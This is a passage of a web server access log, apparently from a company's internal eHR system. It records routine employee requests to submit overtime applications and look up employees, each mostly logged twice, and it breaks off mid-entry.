192.168.11.151 - - [04/Dec/2025:18:32:57 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23062293990306126 HTTP/1.1" 200 8468 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:32:57 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23062293990306126 HTTP/1.1" 200 8468 192.168.12.64 - - [04/Dec/2025:18:32:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:32:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 192.168.12.64 - - [04/Dec/2025:18:32:59 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:32:59 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.12.64 - - [04/Dec/2025:18:33:02 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:33:02 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.151 - - [04/Dec/2025:18:32:59 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23062293990306126 HTTP/1.1" 200 15208 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23062293990306126" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:32:59 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23062293990306126 HTTP/1.1" 200 15208 192.168.12.64 - - [04/Dec/2025:18:33:06 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 138 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:33:06 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 138 192.168.12.64 - - [04/Dec/2025:18:33:06 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:33:06 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.12.64 - - [04/Dec/2025:18:33:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:33:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.12.64 - - [04/Dec/2025:18:33:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 140 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:33:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 140 192.168.12.64 - - [04/Dec/2025:18:33:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:33:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.12.64 - - [04/Dec/2025:18:33:12 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:33:12 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 192.168.11.151 - - [04/Dec/2025:18:33:12 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:33:12 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 192.168.12.64 - - [04/Dec/2025:18:33:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:33:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 192.168.12.64 - - [04/Dec/2025:18:33:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:33:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.151 - - [04/Dec/2025:18:33:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:33:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.12.64 - - [04/Dec/2025:18:33:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:33:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.12.64 - - [04/Dec/2025:18:33:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 138 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:33:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 138 192.168.12.64 - - [04/Dec/2025:18:33:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:33:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.12.64 - - [04/Dec/2025:18:33:23 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:33:23 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.12.64 - - [04/Dec/2025:18:33:23 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 140 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:33:23 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 140 192.168.12.64 - - [04/Dec/2025:18:33:25 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:33:25 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.12.64 - - [04/Dec/2025:18:33:26 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:33:26 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 192.168.12.64 - - [04/Dec/2025:18:33:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:33:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 192.168.12.64 - - [04/Dec/2025:18:33:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:33:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.12.64 - - [04/Dec/2025:18:33:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:33:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.12.64 - - [04/Dec/2025:18:33:35 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 138 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:33:35 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 138 192.168.12.64 - - [04/Dec/2025:18:33:35 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:33:35 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.12.64 - - [04/Dec/2025:18:33:37 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:33:37 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.12.64 - - [04/Dec/2025:18:33:37 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 140 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:33:37 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 140 192.168.11.151 - - [04/Dec/2025:18:33:37 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.04592283849298995 HTTP/1.1" 200 8468 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:33:37 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.04592283849298995 HTTP/1.1" 200 8468 192.168.12.64 - - [04/Dec/2025:18:33:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:33:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.12.64 - - [04/Dec/2025:18:33:39 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:33:39 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 192.168.12.64 - - [04/Dec/2025:18:33:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:33:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 192.168.12.64 - - [04/Dec/2025:18:33:41 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:33:41 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.12.64 - - [04/Dec/2025:18:33:43 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:33:43 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.151 - - [04/Dec/2025:18:33:39 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.04592283849298995 HTTP/1.1" 200 15208 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.04592283849298995" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:33:39 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.04592283849298995 HTTP/1.1" 200 15208 192.168.12.64 - - [04/Dec/2025:18:33:47 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 138 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:33:47 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 138 192.168.12.64 - - [04/Dec/2025:18:33:47 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:33:47 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.12.64 - - [04/Dec/2025:18:33:49 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:33:49 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.12.64 - - [04/Dec/2025:18:33:49 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 140 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:33:49 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 140 192.168.12.64 - - [04/Dec/2025:18:33:50 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:33:50 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.12.64 - - [04/Dec/2025:18:33:51 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:33:51 +0800] "GET 